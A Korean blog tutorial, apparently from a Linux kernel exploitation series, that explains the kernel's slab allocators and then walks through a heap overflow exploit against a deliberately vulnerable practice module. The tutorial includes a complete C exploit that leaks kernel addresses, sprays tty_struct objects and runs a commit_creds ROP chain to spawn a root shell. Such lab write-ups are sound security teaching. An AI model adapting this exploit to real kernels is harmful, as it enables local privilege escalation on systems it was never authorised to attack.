1. 소개
저번 장에선 커널 스택 오버플로우를 통해 KROP와 KPTI의 우회 등에 대해서 알아 보았다. 이번 글에선 간단하게 Kernel의 힙을 담당하는 Slab Allocator를 알아보고 Heap Overflow를 통한 익스플로잇을 배워보자.
Main Topic
- Slab Allocator
- KASLR Bypass
- Kernel Heap Spray
2. Slab Allocator
유저 공간의 힙을 할당해주는 allocator는 ptmalloc2 가 존재한다. 이를 통해서 힙을 할당받고 해제된 힙을 관리하는데, 이를 담당하는 커널의 allocator가 Slab Allocator이다. Slab Allocator에는 크게 3가지 종류의 얼로케이터가 존재한다.
Allocator에 대해서 자세히 짚고 넘어가기엔 양이 너무 방대하므로 익스플로잇 관점에서 중요한 부분인 청크의 할당과 재사용, 관리에 관한 부분만 알아보도록 하자.
SLAB Allocator
리눅스 커널의 가장 오래된 얼로케이터로 자세한 내용은 https://elixir.bootlin.com/linux/v5.15/source/mm/slab.c에 정리되어 있다. 해당 얼로케이터의 특징은 다음과 같다.
- 크기에 따라 다른 페이지 프레임 사용
유저 공간의 힙과 다르게 사이즈가 다르면 아예 다른 페이지 프레임을 사용하기 때문에 청크 앞뒤에 크기 정보를 저장하지 않고 사용함 - 캐시의 이용
작은 사이즈에 대해서는 사이즈 별 캐시가 우선적으로 사용됨 (유사 tcache), 크기가 크거나 사용할 수 있는 캐시가 없는 경우 일반적인 메모리 할당이 이루어짐
캐시의 경우 해제되면 0xa5값으로 채워지고 캐시 영역 뒤에 red_zone 이라는 Heap Overflow를 검사하는 영역이 존재함 - 비트맵(index)를 사용한 청크 관리
사이즈에 따라 다른 페이지 프레임을 사용하기 때문에 각 페이지 프레임의 앞쪽에는 비트맵을 활용하여 freelist를 관리함
SLUB Allocator
현재 리눅스에 기본적으로 사용되는 얼로케이터로 자세한 내용은 https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c 에 정리되어 있다. 해당 얼로케이터의 특징은 다음과 같다.
- 크기에 따라 다른 페이지 프레임 사용
SLAB Allocator와 같이 사이즈가 다르면 다른 페이지 프레임을 사용을 하는것이 원칙, 예를들어 100bytes 사이즈를 할당요청하면 kmalloc-128, 200bytes 라면 kmalloc-256과 같은 전용 영역을 할당 받음
SLAB과의 차이점은 페이지 프레임의 앞쪽에 freelist가 존재하는것이 아닌 페이지 프레임 디스크립터에서 freelist를 관리함 - 단방향 리스트를 이용한 freelist 관리
tcache나 fastbin 처럼 해제된 메모리의 앞에 이전에 해제된 메모리 주소를 쓰는 방식으로 freelist를 관리함, 하지만 링크된 주소가 조작되었는지 검증하는 과정은 없음 - 캐시의 이용
SLAB Allocator 처럼 cache를 이용하는데, cache도 똑같이 단방향 리스트로 관리함
SLUB Allocator는 특별하게 커널 부팅시 slub_debug 파라미터에 문자를 작성하면 디버깅용 기능을 활성화 할 수 있다.
- F : Sanity Check를 활성화
- P : 해제된 영역을 특정 문자열로 채움
- U : 할당 및 해제 스택 트레이스를 기록
- T : 특정 캐시의 사용 로그를 가져옴
- Z : 할당 객체 뒤에 Red_zone을 만들어 Heap Overflow 감지
SLOB Allocator
임베디드 시스템을 위한 얼로케이터로 최대한 경량화 되어 있음, 자세한 내용은 https://elixir.bootlin.com/linux/v5.15/source/mm/slob.c에 정리되어 있다. 해당 얼로케이터의 특징은 다음과 같다.
- K&R Allocator
먼저 사용할 수 있는 영역을 잘라내어 사용하고 영역이 부족해지면 새로운 페이지를 확보하는 방식
때문에 메모리 단편화가 일어나기 쉬움 (단편화란 메모리가 불연속적으로 사용되는 문제) - 오프셋으로 freelist 관리
다른 얼로케이터와 다르게 해제된 메모리는 사이즈와 관계없이 모두 linked list로 연결되며 청크는 포인터를 가지지 않고 다음 청크의 사이즈와 오프셋 정보를 가짐, 할당 할때는 이 사이즈와 오프셋 정보를 가지고 사용할 수 있는 청크가 있는지 확인 - 크기에 따른 freelist
메모리 단편화의 문제를 해결하기 위해서 몇몇개의 사이즈 별 freelist가 존재는 함
3. Heap Overflow
먼저 heap overflow 공격을 실습하기 위해서 ptr-yudai님의 예제 https://pawnyable.cafe/linux-kernel/LK01/distfiles/LK01-2.tar.gz를 다운로드 해야한다. (Linux Kernel Exploit의 기초적인 예제들은 ptr-yudai님이 굉장히 잘 만들어 주셨다.)
다운로드 후 압축을 풀면 src 디렉터리 하위에 vuln.c 파일이 존재한다. LK01 과 큰 차이는 없지만 아래 두 함수만 조금 차이점이 존재한다.
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
- 이전과는 다르게 커널 모듈의 스택에 값을 쓰는 것이 아닌 모듈이 kmalloc을 통해 할당 받은 g_buf에 직접 값을 쓰는것을 알 수 있음
- 사이즈는 여전히 유저가 원하는 만큼 지정 가능
- But, 사이즈를 원하는 만큼 지정이 가능해도 힙 영역에서 BOF는 당장은 의미가 없음
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
위 코드로 g_buf 는 0x400 크기의 메모리를 할당받은 것을 알 수 있다.
Heap Overflow Vulnerability
커널의 힙은 모든 드라이버와 커널 객체들이 공유하고 있다. 힙 오버플로우를 이용하면 같은 사이즈의 다른 target 객체를 파괴시키고 exploit에 사용할 수도 있다. 그럼 어떻게 오버플로우로 다른 객체를 덮는가?
- freelist 소비
freelist에 객체가 남아있으면 우리가 취약점을 터트리는 객체 바로 뒤에 원하는 객체가 오지 않을 수 있기 때문에 미리 freelist를 비우기 위해 다른 객체를 여러개 할당 받는다. - 객체 이웃
freelist를 모두 소비 했으면 vuln한 객체의 앞 뒤로 target 객체를 할당받아 이웃하게 만들고 어떤 객체가 덮일지 모르기 때문에 heap spray를 통해서 원하는 구조체로 덮어버린다.
이제 heap spray가 필요하다는건 알았으니 target을 찾아보자, Vuln 객체의 사이즈는 0x400 이므로 kmalloc-1024 범위에 속한다. 각 사이즈에 맞는 target 구조체는 잘 정리된 글이 많고 필자도 나중에 정리할 예정이지만 지금은 tty_struct 라는 구조체를 사용한다는 것만 알면 된다.
TTY_STRUCT
tty_struct는 다음과 같이 선언되어 있다.
struct tty_struct {
struct kref kref;
int index;
struct device *dev;
struct tty_driver *driver;
struct tty_port *port;
const struct tty_operations *ops;
struct tty_ldisc *ldisc;
struct ld_semaphore ldisc_sem;
...
우리가 보아야 할 부분은 tty_operations ptr 부분으로 ioctl을 통해 함수를 호출하면 해당 포인터의 함수 테이블에서 실행 된다.
Information Leak
KASLR과 SMAP이 걸린 상태에서 Mitigation을 우회하기 위해서는 베이스 주소와 힙 주소를 Leak 할 필요가 있다. buf와 인접한 주소에 쓸만한 값이 있을 지 찾아보자.
int main() {
int i;
unsigned long kernel_base;
unsigned long heap_addr;
int spray[100];
for (i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) {
fatal("/dev/ptmx");
}
}
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) {
fatal("/dev/holstein");
}
for (i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
}
char pay[0x500];
memset(pay, 'A', sizeof(pay));
puts("[+] Write To Kernel Heap");
write(fd, pay, sizeof(pay));
return 0;
}
위와 같이 코드를 짜고 g_buf 근처에 Break Point를 걸고 디버깅을 해보자
해당 g_buf 부분에 BP를 걸고 0x400 이후 값을 살펴 보았다.
0x418 떨어진 부분에는 커널 주소로 보이는 것과,
0x438 떨어진 부분에는 tty_stuct 안을 가리키는 포인터가 존재한다.
해당 값을 읽어와서 offset 계산을 해주면 필요한 함수들을 사용할 수 있을 것이다.
RIP Control
아까 ioctl을 사용하여 tty_struct의 ops 함수 포인터 안의 함수를 호출할 수 있다고 했는데, 어떤 함수가 호출될지 알아보기 위해서 방금 획득한 힙 주소로 가짜 함수 테이블을 만들어서 ioctl을 호출해보자.
char pay[0x500];
memset(pay, 'A', sizeof(pay));
puts("[+] Read From Kernel Heap");
read(fd, pay, sizeof(pay));
kernel_base = *(unsigned long*)&pay[0x418] - OFFSET;
heap_addr = *(unsigned long*)&pay[0x438] - 0x438;
unsigned long *rop = (unsigned long*)&pay;
for (i = 0; i < (0x400/0x8); i++) {
*rop++ = 0xffffffff00000000 + i;
}
*(unsigned long*)&pay[0x418] = heap_addr;
puts("[+] Write To Kernel Heap");
write(fd, pay, sizeof(pay));
for (i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
위와 같은 코드가 추가 되었고, 커널 상태를 보자
RIP가 0xffffffff0000000c로 조작되었다. c=12로 12번 째 함수 포인터가 실행 되는것을 알 수 있다.
KROP
SMEP 까지 걸린 상황에서 ROP를 진행하기 위해서는 RSP를 조작하는 가젯으로 함수 테이블을 설정하고, RSP를 커널 힙 주소로 바꾸게 된다면 ROP를 할 수 있다.
직전 Kernel의 레지스터 상황을 보면 RDX, RCX, RSI 등 레지스터에 ioctl을 호출할 때 넣었던 인자들이 존재하는 것을 알 수 있다. 이를 이용해서 'push rcx ; pop rsp ; ret'과 같은 가젯이 존재한다면 RSP를 조작할 수 있다.
0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
위와 같은 가젯이 존재하기 때문에 이를 사용해서 Exploit을 짜보도록 하자.
4. Exploit
Code
// !/bin/sh
// gcc exploit.c -o exploit -Wall -static
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define HEAP_OFFSET 0xc38880
#define COMMIT_CREDS_OFFSET 0x744b0
#define PREPARE_CRED_OFFSET 0x74650
#define RETURN_TO_USER 0x800e26
#define POPRSP_OFFSET 0x1077fc
#define POPRDI_OFFSET 0x0d748d
#define MOVRDI_RAX_OFFSET 0x62707b
#define POPRCX_OFFSET 0x13c1c4
void fatal(const char *msg) {
perror(msg);
exit(1);
}
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *evnp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, evnp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
int i;
unsigned long kernel_base;
unsigned long heap_addr;
int spray[100];
// Save User Information
save_state();
// Ready To Heap Spraying
for (i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) {
fatal("/dev/ptmx");
}
}
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) {
fatal("/dev/holstein");
}
for (i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
}
// Kernel Base & Heap Addr Leak
char pay[0x500];
puts("[+] Read From Kernel Heap");
read(fd, pay, sizeof(pay));
kernel_base = *(unsigned long*)&pay[0x418] - HEAP_OFFSET;
heap_addr = *(unsigned long*)&pay[0x438] - 0x438;
printf("[+] Kernel Base : 0x%16lx\n", kernel_base);
printf("[+] Heap Address : 0x%16lx\n", heap_addr);
// ROP Chaning
*(unsigned long*)&pay[12*8] = kernel_base + POPRSP_OFFSET;
unsigned long *rop = (unsigned long*)&pay[15*8]; // pr13 ; prbp
*rop++ = kernel_base + POPRDI_OFFSET;
*rop++ = 0;
*rop++ = kernel_base + PREPARE_CRED_OFFSET;
*rop++ = kernel_base + POPRCX_OFFSET;
*rop++ = 0;
*rop++ = kernel_base + MOVRDI_RAX_OFFSET;
*rop++ = kernel_base + COMMIT_CREDS_OFFSET;
*rop++ = kernel_base + RETURN_TO_USER;
*rop++ = 0;
*rop++ = 0;
*rop++ = (unsigned long*)&win;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_rsp;
*rop++ = user_ss;
*(unsigned long*)&pay[0x418] = heap_addr;
// Heap Overflow
puts("[+] Write To Kernel Heap");
write(fd, pay, sizeof(pay));
// Triger
for (i = 0; i < 100; i++) {
ioctl(spray[i], 0xcafebabe, (heap_addr+(13*8)));
}
close(fd);
return 0;
}
Execute Screen
5. 마무리
이렇게 Kernel Heap Overflow를 통한 Exploit 과정을 알아보았다.
커널 힙의 경우에는 유저랜드와는 많이 다르기 때문에 주로 똑같은 영역에 속하는 다른 힙 구조체를 잘 찾고 사용하는 것이 중요하다. 구조체 공부와 SLUB Allocator에 관한 공부를 많이 해야함을 느꼈다.
'Kernel' 카테고리의 다른 글
[Kernel] Kernel Heap Use-After-Free (0) | 2024.08.08 |
---|---|
[Kernel] KROP & KPTI (0) | 2024.03.15 |
[Kernel] Kernel Stack Overflow & Commit_creds (0) | 2024.02.18 |
[Kernel] Holstein Module (1) | 2024.02.12 |
[Kernel] 커널의 보호 기법 (1) | 2024.01.04 |